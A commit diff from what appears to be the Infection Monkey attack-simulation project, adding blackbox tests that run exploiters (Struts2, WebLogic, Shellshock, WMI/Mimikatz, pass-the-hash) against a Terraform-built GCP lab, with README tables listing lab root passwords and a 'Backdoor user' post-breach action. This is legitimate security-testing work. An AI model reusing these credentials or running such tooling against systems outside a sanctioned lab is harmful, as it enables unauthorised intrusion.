TestMonkeyBlackbox.run_basic_test(island_client, "ELASTIC.conf", "Elastic_exploiter")
def test_struts_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter")
def test_weblogic_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter")
def test_shellshock_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
@pytest.mark.xfail(reason="Test fails randomly - still investigating.")
def test_tunneling(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60)
def test_wmi_and_mimikatz_exploiters(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
def test_wmi_pth(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH")

View File

@ -0,0 +1,98 @@
import json
from time import sleep
import logging
from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer
MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60
WAIT_TIME_BETWEEN_REQUESTS = 10
TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40
DELAY_BETWEEN_ANALYSIS = 3
LOGGER = logging.getLogger(__name__)
class BasicTest(object):
def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler):
self.name = name
self.island_client = island_client
self.config_parser = config_parser
self.analyzers = analyzers
self.timeout = timeout
self.log_handler = log_handler
def run(self):
LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2)))
self.island_client.import_config(self.config_parser.config_raw)
self.print_test_starting_info()
try:
self.island_client.run_monkey_local()
self.test_until_timeout()
finally:
self.island_client.kill_all_monkeys()
self.wait_until_monkeys_die()
self.wait_for_monkey_process_to_finish()
self.parse_logs()
self.island_client.reset_env()
def print_test_starting_info(self):
LOGGER.info("Started {} test".format(self.name))
LOGGER.info("Machines participating in test:")
LOGGER.info(" ".join(self.config_parser.get_ips_of_targets()))
print("")
def test_until_timeout(self):
timer = TestTimer(self.timeout)
while not timer.is_timed_out():
if self.all_analyzers_pass():
self.log_success(timer)
return
sleep(DELAY_BETWEEN_ANALYSIS)
LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()))
self.log_failure(timer)
assert False
def log_success(self, timer):
LOGGER.info(self.get_analyzer_logs())
LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()))
def log_failure(self, timer):
LOGGER.info(self.get_analyzer_logs())
LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name,
timer.get_time_taken()))
def all_analyzers_pass(self):
for analyzer in self.analyzers:
if not analyzer.analyze_test_results():
return False
return True
def get_analyzer_logs(self):
log = ""
for analyzer in self.analyzers:
log += "\n" + analyzer.log.get_contents()
return log
def wait_until_monkeys_die(self):
time_passed = 0
while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE:
sleep(WAIT_TIME_BETWEEN_REQUESTS)
time_passed += WAIT_TIME_BETWEEN_REQUESTS
LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed))
if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE:
LOGGER.error("Some monkeys didn't die after the test, failing")
assert False
def parse_logs(self):
LOGGER.info("Parsing test logs:")
self.log_handler.parse_test_logs()
@staticmethod
def wait_for_monkey_process_to_finish():
"""
There is a time period when monkey is set to dead, but the process is still closing.
If we try to launch monkey during that time window monkey will fail to start, that's
why test needs to wait a bit even after all monkeys are dead.
"""
sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH)

View File

@ -0,0 +1,54 @@
import subprocess
import logging
LOGGER = logging.getLogger(__name__)
class GCPHandler(object):
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
SET_PROPERTY_PROJECT = "gcloud config set project %s"
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"):
self.zone = zone
try:
# pass the key file to gcp
subprocess.call(GCPHandler.get_auth_command(key_path), shell=True)
LOGGER.info("GCP Handler passed key")
# set project
subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True)
LOGGER.info("GCP Handler set project")
LOGGER.info("GCP Handler initialized successfully")
except Exception as e:
LOGGER.error("GCP Handler failed to initialize: %s." % e)
def start_machines(self, machine_list):
"""
Start all the machines in the list.
:param machine_list: A space-separated string with all the machine names. Example:
start_machines(`" ".join(["elastic-3", "mssql-16"])`)
"""
LOGGER.info("Setting up all GCP machines...")
try:
subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True)
LOGGER.info("GCP machines successfully started.")
except Exception as e:
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
def stop_machines(self, machine_list):
try:
subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True)
LOGGER.info("GCP machines stopped successfully.")
except Exception as e:
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
@staticmethod
def get_auth_command(key_path):
return GCPHandler.AUTHENTICATION_COMMAND % key_path
@staticmethod
def get_set_project_command(project):
return GCPHandler.SET_PROPERTY_PROJECT % project

View File

@ -0,0 +1,9 @@
import json
from bson import ObjectId
class MongoQueryJSONEncoder(json.JSONEncoder):
def default(self, o):
if isinstance(o, ObjectId):
return str(o)
return json.JSONEncoder.default(self, o)

View File

@ -0,0 +1,17 @@
from time import time
class TestTimer(object):
def __init__(self, timeout):
self.timeout_time = TestTimer.get_timeout_time(timeout)
self.start_time = time()
def is_timed_out(self):
return time() > self.timeout_time
def get_time_taken(self):
return time() - self.start_time
@staticmethod
def get_timeout_time(timeout):
return time() + timeout

View File

@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",

View File

@ -58,7 +58,7 @@ Requirements:
To deploy:
1. Configure service account for your project:
a. Create a service account and name it “your\_name-monkeyZoo-user”
a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
b. Give these permissions to your service account:
@ -74,7 +74,7 @@ To deploy:
**Project -> Owner**
c. Download its **Service account key**. Select JSON format.
c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
a. **Compute Engine -\> Compute image user**
@ -82,20 +82,30 @@ To deploy:
../monkey/envs/monkey\_zoo/terraform/config.tf file (dont forget to
link to your service account key file):
> provider "google" {
>
> project = "project-28054666"
>
> region = "europe-west3"
>
> zone = "europe-west3-b"
>
> credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
>
> }
>
> service\_account\_email="test@project-925243.iam.gserviceaccount.com"
provider "google" {
project = "test-000000" // Change to your project id
region = "europe-west3" // Change to your desired region or leave default
zone = "europe-west3-b" // Change to your desired zone or leave default
credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
// If you followed instruction above leave it as is
}
locals {
resource_prefix = "" // All of the resources will have this prefix.
// Only change if you want to have multiple zoo's in the same project
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
}
4. Run terraform init
To deploy the network run:<br>
@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
<p>(10.2.0.11)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>3Q=(Ge(+&w]*</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>Default</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.10</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>2}p}aR]&amp;=M</td>
</tr>
<tr class="odd">
<td>Scan results:</td>
<td>Machine exploited using RDP grinder</td>
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Remote desktop enabled</p>
<p>Admin users credentials:</p>
<p>m0nk3y, 2}p}aR]&amp;=M</p></td>
</tr>
<tr class="odd">
<tr class="even">
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<tr class="odd">
<td></td>
<td></td>
</tr>
@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Has cashed mimikatz-15 RDP credentials</p>
<td><p>Has cached mimikatz-15 RDP credentials</p>
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
</tr>
<tr class="odd">

4
envs/monkey_zoo/gcp_keys/.gitignore vendored Normal file
View File

@ -0,0 +1,4 @@
# Ignore everything in this directory
*
# Except this file
!.gitignore

View File

@ -2,9 +2,10 @@ provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
credentials = "${file("../gcp_keys/gcp_key.json")}"
}
locals {
resource_prefix = ""
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
}
}

View File

@ -1,5 +1,5 @@
resource "google_compute_firewall" "islands-in" {
name = "islands-in"
name = "${local.resource_prefix}islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
}
resource "google_compute_firewall" "islands-out" {
name = "islands-out"
name = "${local.resource_prefix}islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
}
resource "google_compute_firewall" "monkeyzoo-in" {
name = "monkeyzoo-in"
name = "${local.resource_prefix}monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
direction = "INGRESS"
priority = "65534"
source_ranges = ["10.2.2.0/24"]
source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
name = "monkeyzoo-out"
name = "${local.resource_prefix}monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
direction = "EGRESS"
priority = "65534"
destination_ranges = ["10.2.2.0/24"]
destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling-in" {
name = "tunneling-in"
name = "${local.resource_prefix}tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/28"]
source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
name = "tunneling-out"
name = "${local.resource_prefix}tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/28"]
destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling2-in" {
name = "${local.resource_prefix}tunneling2-in"
network = "${google_compute_network.tunneling2.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling2-out" {
name = "${local.resource_prefix}tunneling2-out"
network = "${google_compute_network.tunneling2.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/27"]
}

View File

@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
name = "tunneling-9-v2"
name = "tunneling-9"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
name = "tunneling-10-v2"
name = "tunneling-10"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-11" {
name = "tunneling-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11-v2"
name = "sshkeys-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
name = "sshkeys-12-v2"
name = "sshkeys-12"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
name = "mimikatz-14-v2"
name = "mimikatz-14"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
name = "weblogic-19-v2"
name = "weblogic-19"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
name = "struts-24-v2"
name = "struts2-24"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
}
}

View File

@ -6,29 +6,40 @@ locals {
}
resource "google_compute_network" "monkeyzoo" {
name = "monkeyzoo"
name = "${local.resource_prefix}monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
name = "tunneling"
name = "${local.resource_prefix}tunneling"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling2" {
name = "${local.resource_prefix}tunneling2"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
name = "monkeyzoo-main"
name = "${local.resource_prefix}monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
name = "tunneling-main"
name = "${local.resource_prefix}tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
resource "google_compute_subnetwork" "tunneling2-main" {
name = "${local.resource_prefix}tunneling2-main"
ip_cidr_range = "10.2.0.0/27"
network = "${google_compute_network.tunneling2.self_link}"
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "hadoop-2"
name = "${local.resource_prefix}hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
}
resource "google_compute_instance_from_template" "hadoop-3" {
name = "hadoop-3"
name = "${local.resource_prefix}hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
name = "elastic-4"
name = "${local.resource_prefix}elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
name = "elastic-5"
name = "${local.resource_prefix}elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
name = "sambacry-6"
name = "${local.resource_prefix}sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.6"
}
}
@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
name = "sambacry-7"
name = "${local.resource_prefix}sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
name = "shellshock-8"
name = "${local.resource_prefix}shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
name = "tunneling-9"
name = "${local.resource_prefix}tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.9"
}
network_interface{
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
name = "tunneling-10"
name = "${local.resource_prefix}tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.10"
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.10"
}
}
resource "google_compute_instance_from_template" "tunneling-11" {
name = "${local.resource_prefix}tunneling-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-11.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "sshkeys-11"
name = "${local.resource_prefix}sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
name = "sshkeys-12"
name = "${local.resource_prefix}sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
name = "rdpgrinder-13"
name = "${local.resource_prefix}rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
name = "mimikatz-14"
name = "${local.resource_prefix}mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
name = "mimikatz-15"
name = "${local.resource_prefix}mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
name = "mssql-16"
name = "${local.resource_prefix}mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "upgrader-17"
name = "${local.resource_prefix}upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
*/
resource "google_compute_instance_from_template" "weblogic-18" {
name = "weblogic-18"
name = "${local.resource_prefix}weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
name = "weblogic-19"
name = "${local.resource_prefix}weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
name = "smb-20"
name = "${local.resource_prefix}smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
name = "scan-21"
name = "${local.resource_prefix}scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
name = "scan-22"
name = "${local.resource_prefix}scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
name = "struts2-23"
name = "${local.resource_prefix}struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
name = "struts2-24"
name = "${local.resource_prefix}struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
name = "island-linux-250"
name = "${local.resource_prefix}island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
}
resource "google_compute_instance_from_template" "island-windows-251" {
name = "island-windows-251"
name = "${local.resource_prefix}island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}
}

View File

@ -1,5 +1,5 @@
resource "google_compute_instance_template" "ubuntu16" {
name = "ubuntu16"
name = "${local.resource_prefix}ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
}
resource "google_compute_instance_template" "windows2016" {
name = "windows2016"
name = "${local.resource_prefix}windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
}
}

View File

@ -30,14 +30,14 @@ class AwsInstance(object):
self.region = self._parse_region(
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib2.URLError as e:
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message))
try:
self.account_id = self._extract_account_id(
urllib2.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib2.URLError as e:
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
@staticmethod
def _parse_region(region_url_response):

View File

@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
class TestFilter_instance_data_from_aws_response(TestCase):
class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{

View File

@ -0,0 +1,2 @@
from zero_trust_consts import populate_mappings
populate_mappings()

View File

@ -0,0 +1,2 @@
ES_SERVICE = 'elastic-search-9200'

View File

@ -0,0 +1,3 @@
POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
POST_BREACH_BACKDOOR_USER = "Backdoor user"
POST_BREACH_FILE_EXECUTION = "File execution"

View File

@ -0,0 +1,205 @@
"""
This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
in creating findings.
This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
Some of the mappings are computed when this module is loaded.
"""
AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
VISIBILITY_ANALYTICS = u"Visibility & Analytics"
WORKLOADS = u"Workloads"
DEVICES = u"Devices"
NETWORKS = u"Networks"
PEOPLE = u"People"
DATA = u"Data"
PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
